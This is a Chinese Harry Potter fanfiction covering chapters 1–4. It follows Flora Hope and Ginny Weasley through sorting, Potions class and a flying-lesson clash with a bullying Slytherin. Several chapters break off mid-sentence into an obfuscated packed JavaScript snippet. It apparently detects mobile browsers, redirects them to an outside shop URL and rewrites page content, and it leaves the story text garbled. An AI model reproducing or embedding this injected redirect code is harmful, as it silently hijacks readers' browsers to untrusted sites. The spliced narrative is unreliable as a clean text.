《同仇敌忾[HP]》 1. 第 1 章 芙罗拉·霍普进入霍格沃滋特快倒数第二节车厢已经快过了十分钟,并不是因为她身上有什么可以报时的东西让她知道已经过了十分钟,而是因为她已经在心里默念了将近十个六十秒。 金妮·韦斯莱仍旧没有到达这节车厢,而这绝不是芙罗拉坐的车厢太后的原因,因为在她数到第十二个六十秒后,金妮面红耳赤地推开了车厢门,尖叫着说:“芙罗拉,你绝对不敢相信我刚刚跟谁说话了!” 然而芙罗拉知道,虽然是她猜测,但她相信任何与金妮相处过一段时间的人都能毫不犹豫地回答出:“哈利·波特。” “你怎么知道?!”金妮大惊失色,显然,名为“崇拜”的爱蒙蔽了她的自觉。芙罗拉翻了个优雅的白眼。 “如果不是有人整天在耳边念叨巫师届的救世主的话——”芙罗拉拖长声调说,“以及我们现在在一辆坐满了霍格沃滋学生的火车上。难以想象你没碰到他会脸红成这样。” 金妮不出意外地又脸红了,带着少女心事被戳破的害羞和愤怒,她撇起嘴,坐在芙罗拉旁边:“好吧。我只是很激动,他是我见到的第一个名人,而且就比我大那么一点!还是个婴儿就打败了——你知道的——神秘人……” 芙罗拉说:“金妮,停止那个名字,你己经在我耳边念到我想吐了。” “好吧,好吧。”金妮沮丧地应了声,不过很快就打起了精神,因为马上就要入学霍格沃滋魔法学校——这是一件足以与跟救世主说话匹敌的开心事,芙罗拉看见金妮激动地讨论着她会进入哪个学院,然后抱怨她多的可怕的哥哥令人难以置信地把分院的事情守口如瓶。 “那可是罗恩。”金妮说:“他是我们家最守不住秘密的。” “哦。”芙罗拉说,连她自己都觉得自己的语气挺敷衍的。金妮显而易见的意识到了这点,所以她猛地站起身,拍着桌子,不高兴地指责芙罗拉:“你根本没在听,我刚在问你你觉得你会分到哪个学院。可你竟然回了个‘哦’,这甚至根本不是一个回答!” 芙罗拉认真地思考了一下。 “斯莱特林。”她最后说,得到了金妮的目瞪口呆。 “你说笑的吧!斯莱特林?!罗恩说坏巫师都在那个学院。” “你什么时候这么相信罗恩·韦斯莱的话了?” “……”金妮笑了一下,“也是。”不过很快,她又变得忧心忡忡。 “不过你要是去了斯莱特林,”金妮实事求是地说,“我们就不会那么经常见面了。” 芙罗拉点点头,没有反驳这点,“你是一个标准的格兰芬多。” “真的吗?”金妮怀疑地皱起眉头,“我全家都是格兰芬多。弗雷德和乔治总说,一个不是格兰芬多的韦斯莱不是一个好韦斯莱。我也一直觉得我会是一个格兰芬多——连珀西和罗恩都是个格兰芬多。我,我想我也应该是个格兰芬多。” 目瞪口呆的变成了芙罗拉。 “我没看错吧,一个标准的格兰芬多在怀疑自己的身份。”芙罗拉开玩笑地说:“你自己说的,连珀西和罗恩都是格兰芬多。” “……也是。”金妮打起精神,变成了芙罗拉记忆中的金妮·韦斯莱。 时间很快就过去了,至少芙罗拉和金妮已经准备穿上巫师袍,步入那所她们十一岁就知道会收到猫头鹰的入学通知书,充满着魔法和奇迹的霍格沃滋学校。 霍普家族是巫师世界纯血二十八家族的一员,但不幸地,这个家族和穷得发指的韦斯莱家族享受一样的命运——被那些信仰“血统论”的家族轻蔑地称为“血统叛徒”。 金妮一直对此愤愤不平,她一直受着这样的教育——她的父亲亚瑟·韦斯莱是个坚定的麻瓜爱好者。 “我一定要让他付出代价!”金妮喋喋不休地抱怨着,“那个阿比盖尔——只会用爸爸来掩饰他的无能,他以为他是谁。” 她冷哼一声,“那些他瞧不起的麻瓜说不定都比他强。” 芙罗拉若有所思,“拥有枪炮的麻瓜确实很难对付。” 谈起这个,金妮兴奋起来:“格兰杰跟我说过那些麻瓜的故事——” “好了,孩子们。” 几百个孩子的热烈讨论被一个身材高大,满脸络腮胡的男人打断了,这个男人有着相当憨厚的外表,说话也像是巫师届少见的老实人的语气:“我是鲁伯·海格,霍格沃滋新生的引路人。接下来跟紧我。” 海格一手拿着黑伞,一手提着灯,带领着孩子们走上了一条幽暗的小径,上面布满了黏湿的泥土,混杂着灰绿的草和奇形怪状的树枝。阿比盖尔——全名是戴蒙德·阿比盖尔,那个惹恼了金妮的男孩,正一刻不停地抱怨着。 “我早说邓布利多是老糊涂了,才会让这么个粗人来带路。”阿比盖尔拖腔拖调地说,“我本来应该去上德姆斯特朗的,那些黑魔法,简直是奇迹。《被诅咒的器物》真是本好书——结果我爸爸说起马尔福,你们都知道的,家族生意。所以我就来霍格沃滋上学了。” 他身旁的人全都心知肚明地笑了,其中一个男性拍了拍他的肩,“嘿!你觉得你会被分到哪个院?” “那还用说,”阿比盖尔倨傲地抬起头,“斯莱特林!” 金妮和芙罗拉跟在这个小团体不远的地方,将这段对话听了个七七八八。这不是她们的本意,树林里安静的可怕——除了一年级生叽叽喳喳的声响。也许是顾及到芙罗拉刚刚的话,金妮只是撇着嘴,竟然没发表任何嘲讽的话。芙罗拉切切实实地惊讶了一会,不久,海格的声音传了过来。芙罗拉便踮起脚朝前看过去——前面是一座城堡,散发着浓浓的历史感,漫天星辰照亮这片地方,连城堡外围的一片黑湖都变得闪闪发光。 这就是霍格沃滋了。芙罗拉紧了紧袖子,注意到身旁金妮的兴奋神色,难得也感到几分激动。海格还在最前面组织学生分成四人一组坐船,金妮直接拉着芙罗拉率先挤开众人抢先上了船。 随后上船的是一男一女,男生一副胆小的样子,结果一问竟然也是个纯血家族的孩子。另一个是个混血巫师,刚开始不怎么说话,结果金妮多说了几句变得活络了不少,最后反倒是芙罗拉和那个男生相顾无言,只得看着她们聊得火热。 “……所以麻瓜世界不用扫帚也能飞吗?”金妮惊叹道。 “对,我们飞都是用飞机。”埃拉——那个女孩的名字,得意地说。 “真神奇!”金妮说,“不过那只能一个人飞吗?会不会有那种——嗯——你说的‘飞机赛’什么的,就像魁地奇那样!” “魁地奇?那是什么?”埃拉好奇地问,芙罗拉惊讶发现她这副样子像极了瞪大眼睛的麋鹿——可能是她有一个红鼻子的原因。 谈到魁地奇,金妮肉眼可见地激动起来,说了不少东西,两颊简直要跟埃拉的红鼻子一样红了。 幸好坐船的时间并不长,不然就太难受了。芙罗拉一等船到岸边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走过走廊,就是大堂了,芙罗拉看到这里摆放着四面长桌,都坐着人,戴着不同颜色的领带。最前面也是一排年长的巫师,其中中间那位——邓布利多——白胡子巫师的相貌家喻户晓——当然巫师届也不大,面前的凳子上放着一顶破旧的尖帽子——不得不说真是一顶丑陋的帽子。带领他们进来的那位绿袍子女巫此时转过头——海格称呼她为“麦格教授”,说:“欢迎你们来到霍格沃滋。” 邓布利多站起来说了一些话,接着那顶帽子竟然开始唱歌了,如果是海格唱这顶帽子的歌词也许不会差到哪去。 等帽子唱完——好吧,分院帽,邓布利多这么说,麦格教授开始点名分院——一顶帽子来分院。 “……金妮·韦斯莱。” 金妮小跑着踏上台阶,没过两秒就被宣布“格兰芬多”,激动地跑到格兰芬多长桌那边。 接着那个跟她们一起登船的男生被喊了上去,他的分院时间比金妮久多了,最后被分到了“赫奇帕奇”。梅林,他看起来完全是金妮的反面。赫奇帕奇肯定不是他想去的学院。 埃拉,遗憾的是,她被分到了格兰芬多。 芙罗拉是最后几个等待分院的,她相信所有人——很多人,考虑到麦格教授一直在冷静地点名,都已经不耐烦了,这里面有八成原因在大家都饿着肚子。 “芙罗拉·霍普。” 芙罗拉以不快也不慢的步伐往前,她把这称为“优雅”。 分院帽一被戴在她头上,她立刻就明白为什么这顶帽子能分院了。 【矛盾的孩子。难,很难。】 分院帽在她脑子里这样开头。 2. 第 2 章 芙罗拉认为自己是斯莱特林的原因很简单,仅凭对自己的认知,与刻板的斯莱特林面对大众的印象如此相似:小心谨慎、审时度势、渴望权势。 也许最后一条存疑,在这方面她更像个赫奇帕奇,但最终,她仍认为自己是毫无疑问的斯莱特林,尽管她内心对于这一点仍有难以解释的疑虑,对于会不会真的加入斯莱特林的不确定。 “难。非常难。矛盾的孩子。”分院帽沉吟着说,“你对自己的认知准确,却忽略了隐藏的潜力。是的,你拥有谨慎,更像是一种警惕和小心翼翼。你并不渴望荣耀,与你的母亲一样。善良存于你的心中,赫奇帕奇或许不错。你读过许多书,比同龄人渴求更多知识。尽管那并不是出于——纯粹的好奇。那么格兰芬多呢?啊啊,格兰芬多——你拥有隐藏的潜力。” “知道吗孩子,这并不常见。去年我就这么干过,从结果看来并不遭。人生的选择多么重要,就由你来决定吧,孩子——格兰芬多、斯莱特林、赫奇帕奇、拉文克劳。你觉得呢?” 芙罗拉深吸了一口气,这是顶无耻的帽子,把自己的职责强加给他人。“我想最好的结果是斯莱特林,但是……”芙罗拉在这时突然看了一眼金妮,发现金妮也在一刻不停地看着她,视线交汇时,芙罗拉立刻低垂了眼,长长的睫毛藏起了她所有的思绪,连分院帽都不得窥见。过了几秒,她轻轻地说,“格兰芬多或许也不错。我很好奇你说的隐藏的潜力,帽子。” 分院帽不满的嘟囔了几声,也许是不满芙罗拉对它的评价吧。最后它高呼着。 “格兰芬多!” 格兰芬多长桌上响起热烈的掌声,芙罗拉小跑下去,环视了一圈长桌,忽然意识到她好像没看见罗恩·韦斯莱和那个头上有疤的男孩。她脚步放慢,有些疑惑的皱着眉,坐在了埃拉·帕劳的旁边。 金妮后仰着身体,隔着埃拉兴奋地对芙罗拉悄悄说:“格兰芬多!你是个格兰芬多,芙罗拉!你不知道我有多高兴!如果你被分去了斯莱特林,我们肯定不能经常见面了!” 分院仪式还没结束,礼堂仍然处于一个相对安静的氛围里,金妮的声音不免有些吵闹了,马上她就意识到了这点,又降低了一点自己的声音,这没起什么作用,因为麦格严厉地朝这边瞪了一眼,很快转过头去,金妮做了个鬼脸,无奈地安静下来。 不过芙罗拉已经是最后几个分院的了,所以礼堂的寂静很快就被邓布利多打破了。 白巫师站起身,高举着酒杯,打量着礼堂上的众人,脸上浮现出喜悦和宽容的笑容,吐出了几个不明所以的词。于是色彩斑斓的食物被搬上了餐桌,透明的幽灵恶作剧般穿过餐桌、食物甚至巫师的身体,他们自由地飞来飞去,格兰芬多这边的常驻的幽灵是“没头的尼克”,这都是他不谨慎的错。够了,别再模拟掉头的场景吓唬可怜的威尔了——那个被分到赫奇帕奇的纯血男孩。金妮对一切都抱有好奇心,不过现在她终于能跟芙罗拉一起分享了,芙罗拉显得心不在焉,她在思考为什么没能看见那个金妮一直在念叨的黄金男孩。她就没看到一个额头上有疤的男孩,或许他把疤遮起来了。听起来他不是个张扬的男孩,金妮对他的崇拜或许不是空穴来风的英雄滤镜。 你其实没必要在意这个,芙罗拉对自己说,金妮在跟你说话。 “梅林,你真的不太对劲。”金妮说,红棕色的头发闪得人眼睛发晕。“难道是身体不舒服吗?” 她的身体没有丝毫不对劲,但她确实感到不舒服,这种不舒服由内而外,转化成了深深的,对自己的不满。这恐怕是由于她轻率地做出了足以影响她人生七年甚至更长的选择,结果还不到一天已经有了后悔的趋势。 “不……”芙罗拉小口地吃着离手边最近的食物,尽管她没有丝毫食欲,“没头尼克”还在表演他毫无意义的死前惨状,埃拉咯咯地笑着,“不过我确实需要休息了。” “好吧。”金妮摆出一副思考的样子,芙罗拉不明白这有什么需要思考的地方,但她注意到金妮也没吃什么东西,打定主意等会稍微拿点食物,祈祷不会被珀西发现——珀西·韦斯莱真是个严肃的讨厌鬼,对规则的重视一点也不格兰芬多。 晚餐结束后,级长珀西带领他们穿过交错移动的楼梯,并告诫他们楼梯移动的不规律,要小心摔下去,这副样子确实像极了莫丽·韦斯莱,恐怕他是韦斯莱家最像他母亲的人也说不定。 金妮听得一点也不认真,她差点就摔下去了,立马就被珀西当成反面例子吓唬一群一年级的格兰芬多,金妮气红了脸,芙罗拉在心里偷笑了几声,埃拉大笑起来。 非常幸运又不幸地,芙罗拉跟金妮分在了同一个寝室,还有埃拉。今年被分进格兰芬多的女生似乎不多,她们三个一个寝室。芙罗拉掏出魔杖,一连施了好几个“清理一新”,得到了埃拉惊讶的眼神。 “这没什么好惊讶的。”她解释说,“巫师家庭的小孩从小就接触魔法,况且这并不难。”说着,她继续用魔杖打开行李箱,用悬浮咒拿出里面的东西,瞥到旁边的埃拉,她问了一句:“这样更快些,或许,我也可以帮你这样做……” 埃拉目瞪口呆,张大了嘴衷心地说:“太酷了!” 金妮“啪”地把自己扔到了床上,脸埋在被子里。比起之前的芙罗拉,现在的金妮恐怕更不对劲。 埃拉还在兴奋地注视着对她来说新奇的一切,芙罗拉犹豫地想要不要向金妮搭话。正当她踌躇不决时,金妮突然从床上跳了起来,从行李箱里拿出一个本子和羽毛笔,在上面写着什么。 埃拉左看右看,一副对现状不理解的表情。但她可能擅自把这解释为金妮需要一些自己的时间,友好地表示自己先去洗漱了。 寝室里留下了芙罗拉和金妮。芙罗拉还是说出了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“魔药学可不是一门可以随意的课程。那些好动的,天生就缺乏耐心的孩子从来都触摸不到打开这扇门的钥匙,那些愚蠢的巨怪同理。理解我的意思吗?为什么不把这记下来时时刻刻告诉你们自己呢?比如说——”斯内普毫不留情的视线刺透了威尔可怜的自尊心,“把豪猪刺放进满是鼻涕虫的坩埚里明显不是个好主意,如果你不想引起一场爆炸的话。因为危险的无能,赫奇帕奇将因为你扣掉宝贵的五分。” 埃拉控制不住地笑出了声,引起了斯内普的注意力,他缓慢地走到埃拉身边,边走边说。 “你认为这很好笑,是吗女士。如果你真这么认为,那就大错特错了。”斯内普残忍地扬起眉,冷冷的说,“因为无法正确地预见危险,格兰芬多将不可避免地被自大的天性扣掉两分。女士,为什么不是由你来告诉威尔先生这一点呢?” 埃拉看起来要哭了,但斯内普一点也不在乎,在他的课上被弄哭的学生数不胜数,这证明他不会为一个学生而改变自己。 然后他巡视着整间魔药室,像蛇一样警惕,不愿错过任何扣分的机会寻找着他的猎物。就在这时,他的步伐迟疑地顿了顿,视线在芙罗拉身上停留了片刻,最后什么也没说,走到了其他人身边。 芙罗拉完成了制作药剂的最后一个步骤,她照着书里的描述在心里默念——加上六克的荨麻,用魔杖逆时针搅拌两圈半,再顺时针搅拌四圈,最终药剂会形成完美的荧光绿色。 芙罗拉望向坩埚,满意的笑了。 ——那确实是一个完美的荧光绿。 金妮看起来仍然没什么精神,对于魔药束手无策。 但愿只是因为缺乏睡眠。 3. 第 3 章 好消息是,没过多久金妮就恢复了精神,就好像失去了那段萎靡不振的记忆般,她已经准备好用相当饱满的精力面对她的第一学期,并且拉着芙罗拉和埃拉到处探索堪称新鲜的霍格沃滋。坏消息是,她们即将迎来第一节飞行课——肯定是场灾难,芙罗拉坚信不疑。 不过,在那之前,意外的惊喜总是猝不及防的来到。 在上完了实在无趣的黑魔法防御课后——顺带一提,芙罗拉和金妮觉得这节课唯一的好处就是增长她们表示赞美的词汇量,埃拉抱有求同存异的意见,她认为至少洛哈特教授的脸确实值得付出二十一个金加隆——也就是他指定教材总共的价值。 “我得去图书馆。”手里拿着厚厚一摞书——绝大部分都是无聊的黑魔法防御术教材,芙罗拉解释说,“斯内普教授的魔药作业,关于诅咒魔药那部分,我还有些地方没弄懂。” “羽加迪姆勒维奥萨——”金妮施了个漂亮的悬浮咒,芙罗拉手一松,看来第一节魔咒课弗利维教授给格兰芬多加的两分完全名副其实,比起羽毛,金妮已经可以让这么厚的书飘在空中了。 埃拉长叹一口气,用羡慕的眼神盯着那摞书,芙罗拉总觉得她的鼻子变得更红了,“我只能让羽毛飘起来,有时候甚至连这都做不到。” 金妮挠挠头,不好意思地说,“我只是经常练习这个咒语……” 芙罗拉接着说,“所以你们要一起去图书馆吗?” 埃拉很为难的样子。经过这些天的相处,芙罗拉已经充分明白这是个无比反拉文克劳式的人物,她的天赋点显然没能点在一年级现在开的几门课中,芙罗拉猜测她唯一喜欢图书馆的地方在于那有个适合睡眠的好氛围。至于金妮,她直接想都不带想就拒绝了,这让芙罗拉有点失望。 “好吧——”芙罗拉拖长声音说,“那么,再见。”她抽出魔杖,接过了那摞书。金妮满脸愧疚,嘴巴张开又闭上,芙罗拉果断地转身,听到两声“再见”。 灰色的眼睛忍住了向后看的欲望,芙罗拉保持自己的步调往与金妮她们相反的方向向前。 图书馆一如既往的安静。芙罗拉找了个没人的地方坐下,一心纠结着她的魔药作业。关于诅咒魔药的反作用这点—— “你、你好,霍普,请问我可以坐这里吗?”芙罗拉抬起头,看见了一张怯懦的脸,上面写满了“无能”的不自信。威尔局部地缩成一团站在原地,好像芙罗拉会要他命一样眼中闪着恐惧的色彩。 “请随意。”芙罗拉点点头,注意到他手上拿着几本书,最上面一本是《魔药起源》。恐怕也是来完成魔药作业的。这点已经好过金妮和埃拉了,她们两第一节魔药课后就结成了“讨厌斯内普同盟”,可怜的魔药课直接被她们批判到了课程链底端,作业更是不管不顾,就好像这样做真的能给斯内普带来多大麻烦似的——希望她们不会沦落到抄作业的地步。 如果没有赫敏·格兰杰风风火火地闯进图书馆——好吧,严谨一点,风风火火地或许是她一看就不懂图书馆规矩的两个朋友,芙罗拉和威尔当然会相安无事地写自己的魔药作业。事情的转折点在于这三位到了图书馆后不久,黑发的波特竟然跟金发的马尔福在图书馆吵了起来,想想看,这可是图书馆!红发的韦斯莱甚至一副跃跃欲试的兴奋模样,格兰杰黑了脸,试图插入到这段即将发展成打斗的吵架中,没看到后面的图书管理员平斯夫人比她更黑的脸色,芙罗拉毫不怀疑下一秒她就要把这几位赶出图书馆了。至于马尔福那边,不仅有两个人高马大的跟班在旁边充当保护者的角色,那个让金妮一直忿忿不平的阿比盖尔也在旁边煽风点火,生怕这两位打不起来一样着急。 芙罗拉惊讶地瞪圆了眼睛,毕竟她只是之前听金妮说过一点在对角巷买教材这两位针锋相对的事,还没亲眼见证过这场景,还没等她思考完要不要过去掺和一脚——考虑到有人受伤的情况,乔治·威尔出人意料地“腾”地起身,拉动椅子发出难听的滋拉声,他脸上挂着失态的表情,甚至连桌上的书都没拿上就用死神在背后追赶他的速度跑走了。图书馆注意力不集中的人大多把眼神放在了更引人注目的波特和马尔福上,没人注意小角落发生的动静,除了芙罗拉。 芙罗拉看着空无一人的对面拧起了眉,这时只听到平斯夫人愤怒的高音响起。 “都给我离开图书馆!!你们这群吵闹的孩子,把图书馆当成角斗场吗!!” 等恼人的客人们离开后,图书馆又恢复了平静。芙罗拉稍微往前探出身体,瞄到对面桌子上摆放着的凌乱的书籍。 《魔药起源》、《诅咒与反诅咒》、《变形术的奥秘》、《霍格沃滋:一段校史》和《被诅咒的器物》。 看上去没什么问题。芙罗拉重新坐下,决定饶过这段奇怪的插曲。好奇心不是什么好事,你可不知道多余的好奇会导致悲剧发生在哪个人身上。现在,她的魔药作业显然更为重要,因为这完全无关他人。 西弗勒斯·斯内普布置的论文要求不少于三十寸,芙罗拉很满意自己写了将近六十寸。 返回格兰芬多塔楼的时候,乔治·韦斯莱和弗雷德·韦斯莱正从格兰芬多公共休息室出来,看到芙罗拉俱是一脸惊喜。这绝对不是什么好事,被韦斯莱双胞胎盯上还不如跟熊孩子一起玩,至少你能玩的过熊孩子。 “嘿!瞧瞧这是谁!”不知道是乔治还是弗雷德的人率先开口,另一个接上:“我们小妹妹的好朋友!” 他们对视一眼,相视一笑:“四舍五入也等于我们的小妹妹!” 芙罗拉冷漠的灰眼睛充满警惕。“今天我没时间陪你们做恶作剧。”这是真话,关于黑魔法防御术的作业,她迫切地需要埃拉的帮助,鉴于她对于洛哈特教授,而不是黑魔法防御术有独特的理解。 乔治,或者弗雷德,不满的哼了一声。“噢,瞧瞧她说的话,我们才不是那样的人!你说呢兄弟,我们可没有每天都在恶作剧。” “得了吧弗雷德,看来我们另一个小妹妹对我们偏见很深啊。”根据称谓,芙罗拉猜是乔治攀住她的肩,顺便摸狗一样把她乌黑且保养得当的头发弄得乱七八糟。 “……如果你们特指恶作剧这个部分,”芙罗拉非常缓慢地说,“恐怕格兰芬多流逝的红宝石第一个要为你们的否认哭泣。” 双胞胎哈哈大笑,芙罗拉难过的意识到今天她注定不能完成洛哈特教授的作业了。 “幽默感!”乔治——根据称谓,芙罗拉分清了两人,打了个响指,“让人开心的奇迹魔法。” “我假设你真没意识到,这是一种挖苦和讽刺。”芙罗拉反驳说,看来委婉的话语根本挤不进双胞胎的大脑,那里面长满了不会停止跳舞的快乐草。 笑声没有停止,芙罗拉整理着头发,听弗雷德上气不接下气地说,“回去吧,会有惊喜的。下次我们带你去夜游。费尔奇的巡夜路程我们都弄明白了。” “要是被抓到了,说不定还能去禁林看看可怕的神奇动物。”乔治飞快的说,带着淘气的笑容。 “我讨厌神奇动物。”芙罗拉蔫蔫地说。 双胞胎高抬贵手放过了芙罗拉,这让芙罗拉切实地松了一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芙罗拉说不出话来,她只能沉默着拆开礼物。 第一个拆开的包裹用蓝色包装袋装着,是一本书,上面写着《初级魔咒学习》,是赫敏·格兰杰送的,芙罗拉非常惊讶,她们两之间的相处只有她一年级的暑假在韦斯莱家待的一小段时间。想到这里,芙罗拉开始后悔没给她准备礼物了,看来要到圣诞节才能回报这位友好而热情的女巫。 第二个芙罗拉打算拆开埃拉的,她一直用期望的眼神看着她。让她看看,一个麻瓜用品—— “是迈克尔·杰克逊的专辑CD,我托我妈妈专门带过来的。你一定会喜欢的!”埃拉肯定地说。 芙罗拉露出一个小小的笑容,“我想我会喜欢的,谢谢你,埃拉。” 第三个是韦斯莱夫人的礼物,这位可爱的夫人给她送了一对针织手套,在冬天肯定会很暖和。 第四个是双胞胎的礼物,她早该想到的,是一副金框眼镜,附带的纸条上写着“这是我们之间的秘密”,芙罗拉心知肚明的笑了,目前为止她最喜欢韦斯莱双胞胎的礼物。 之后她依次拆开了韦斯莱大家族成员的礼物,金妮应该是最后一个,因为最后只剩下了一个没拆开的礼物。 芙罗拉看向金妮,她果然紧张地抿紧了双唇。 金妮会送她什么呢?芙罗拉一边猜测着,一边慢慢地拆开最后一个礼物—— “噢——”芙罗拉张大了嘴。 一枚洋甘菊形状的发卡被她静静地握在手心。 4. 第 4 章 从金妮的角度看,飞行课几乎挑不出一点毛病。除了一点,要是讨厌的斯莱特林不是跟格兰芬多上同一节飞行课就更好了。 “起来。”芙罗拉有气无力地喊了一声,一点也不意外扫帚没有一点起色。尽管她特意把头发扎了起来——表面上看起来似乎对飞行课有积极的看法。不,当然不是因为飞行课,而是久违地想要炫耀一下头上的洋甘菊发卡。 飞行课教授霍琦夫人用她鹰一样具有特色的眼睛环视一圈,很快就发现了几个课上的“差生”。她首先向芙罗拉走了过来,步伐果断凌厉,就好像芙罗拉一直是她的猎物一样。 “你需要更坚定些。”霍琦夫人的语气充满鼓励,“跟我念:起来!” “起来。” “起来!” “——起来。”扫帚仍然没有任何起色,芙罗拉发誓她确实有按霍琦说的做,或许有问题的是扫帚。 霍琦夫人失望地叹了口气,用谴责的目光注视着芙罗拉,企图让这个脸上没有任何表情的女孩产生一点羞愧之情。这是个非常失败的举动,芙罗拉甚至连眉毛都没动一下。 “好吧。”也许是芙罗拉的冷漠伤透了这位夫人的心,她放弃似的说,“你需要更坚定些。只有想要飞行的决心,你才能驯服你的扫帚。” “好的,夫人。”芙罗拉说。“但也许我更适合在陆地上生活。” 看着霍琦夫人叹着气转而去教导其他学生的背影,芙罗拉踢了一下她懒惰的扫帚,站在她旁边的金妮只喊了一声扫帚就被她温顺地握在手里,就算是还没找到自己的天赋点的埃拉,尝试过几次后也顺利让扫帚飞到她手里,只有她—— “我不明白大家为什么都喜欢魁地奇,”她小声地自言自语,“多么危险的高空运动,仅仅只是为了寻找速度与激情,万一受伤,甚至死亡。糟透了。” 金妮用手肘碰了碰芙罗拉,眨着眼睛说,“或许是扫帚的问题。”看看她说的话吧,多么美妙的猜测。 “不过,芙罗拉,你还是恐高吗?”金妮担忧地问。 “事实上,我从未尝试克服这一点。”芙罗拉又喊了一声“起来”,没有动静,“高空一点也不适合我。我甚至连扫帚都喊不起来。” “别这样说,”埃拉插了一嘴,然而脸上的笑容出卖了她,很显然,有一节课赢过了她的一个室友让她无比开心。“看我,多试几次就能拿住扫帚了。”她晃了晃手里的扫帚。 “可是魁——我是说飞行真的很不错。或许你飞上天试试看就不那么恐高了呢?”金妮说。 还没等芙罗拉将坚决的拒绝说出口,一阵熙攘的吵闹声就粗鲁地闯进她们的耳朵,引起了金妮的瞪视,每一根韦斯莱家特有的红发丝都愤怒地竖起来,她恶狠狠的说,“斯莱特林!” 芙罗拉朝声音源头望去,原来是阿比盖尔和他的小团体们。似乎每个年级总会有那么一两个带头加深学院矛盾的领导人,上一届是斯莱特林的马尔福和波特他们,这一届单看苗头,斯莱特林的阿比盖尔无疑了。 阿比盖尔手中正拿着一个精致的烟斗,眼神似笑非笑,流露出一种纯真的邪恶,他扬起一抹撒旦般的微笑,高举起手中的烟斗,用炫耀的语气说,“你们知道这是什么吗?” 围在他旁边的人一起笑起来,听起来尖锐刺耳。 “乔治那蠢货,”他慢悠悠地说,“我甚至不敢相信他真的是一个巫师。在我用悬浮咒抢了他的——他叫这东西什么,黄金烟斗?反正是不值一提的垃圾。总之,你们肯定不知道他接下来干了什么,他竟然冲我扑了过来,连魔杖从袍子里掉出来都没发现。蠢货,一个巫师,却用耻辱的、麻瓜的方式向一个真正的巫师挑战。喂,我说,你们不觉得很好笑吗?” “废物威尔那样做我一点也不奇怪。”另一个斯莱特林笑着附和,杂乱的、混杂着恶意的声音交缠在一起,但芙罗拉朦胧间似乎听到了一句“······但这么做也有些过了”的叹息声。 “我觉得这一点都不好笑!你这个蠢货!”金妮突然走过去,大声地说,打断了骤然爆发出来的笑声。芙罗拉皱了皱眉,担心地看了一眼霍琦夫人的方向,她似乎对此完全没有察觉,一心在教导那些一看就没有飞行天赋的学生。要芙罗拉说,这完全是白费功夫。 糟透了。芙罗拉心里陡然升起一种不详的预感,她下意识地想阻止金妮接下来的行动,但金妮甩开了她伸过来的手,涨红着脸冲阿比盖尔叫着,“真正的巫师?别开玩笑了,像你这样只会欺负同级同学的人,算什么真正的巫师!你才没有资格这样称呼自己。” “哦?”阿比盖尔扬起一边眉,怪腔怪调地说,“那你觉得谁才有资格这样说呢?” “······邓布利多。”金妮嗫嚅着挤出这个人名,就好像她心里其实还有更好的选项一样。那个斯莱特林嗤笑一声,用恶毒的语言嘲讽她,“那个只会说蠢话的疯老头?别逗我发笑了,韦斯莱。看看他做的事吧,只会把像你这样长着一头杂毛的纯血叛徒招进来。”说到这他做出呕吐的表情,金妮气得发疯,芙罗拉已经看到她把魔杖拿了出来。但那个该死的斯莱特林,他嚣张地抬起下巴,用目中无人的眼神转向埃拉,“还有你,近似泥巴种的邋遢女孩,简直是玷污了霍格沃滋这座古老学校的声誉,我为此感到万分惋惜和遗憾。” “不许你这么说她!”超乎所有人想象,金妮挣脱了芙罗拉的控制,失控地冲了上去,往阿比盖尔左脸上重重地揍了一拳——非常帅,但却不合时宜! 埃拉一副没搞清楚状态的模样,摆出了她在魔药课上芙罗拉司空见惯的表情,合理怀疑她压根就不知道“泥巴种”这个词在巫师届的侮辱意味,但她尖叫了一声,叫声引来了霍琦夫人的注意力,但似乎只有芙罗拉注意到了这一点,因为阿比盖尔被打了后重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201262|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重地哼出一声冷笑,芙罗拉怀疑他这辈子都没这么被人“亲切”的进行脸部接触,他的声音仿佛吹着来自地狱的阴风,那种不详的感觉再次席卷了芙罗拉的全身,她想也没想就脱口而出:“金妮,不要!” “来飞啊。”阿比盖尔凝视着金妮,用一个巫师最为怨毒的表情凝视着金妮,他一抬腿翻身骑上扫帚,缓缓飞上空中,像杂耍一样抛着手中的黄金烟斗,“想要吗,杂种。” 这个词彻底点燃了金妮的怒火,几乎在他说完,她也翻身骑上扫帚,两人像竞速一样以完全不合理的速度追逐着对方,下方观看这一出闹剧的一年级生们全都目瞪口呆。梅林的臭袜子,这简直不像是两个一年级生该有的水平。这时霍琦夫人的制止声姗姗来迟,她高亢的声音显示着她难以置信的愤怒。 “这到底是怎么一回事?!”她几乎是尖叫着说,“又来了一对波特和马尔福吗?!” 事实上,后面的发展也非常戏剧性,他们两个的违规飞行竟然又一次引起了麦格教授的注意,绿袍女巫气急败坏地跑到魁地奇球场,双唇颤抖不已,她用声若洪钟说,“你们这些疯狂的孩子!快下来!” 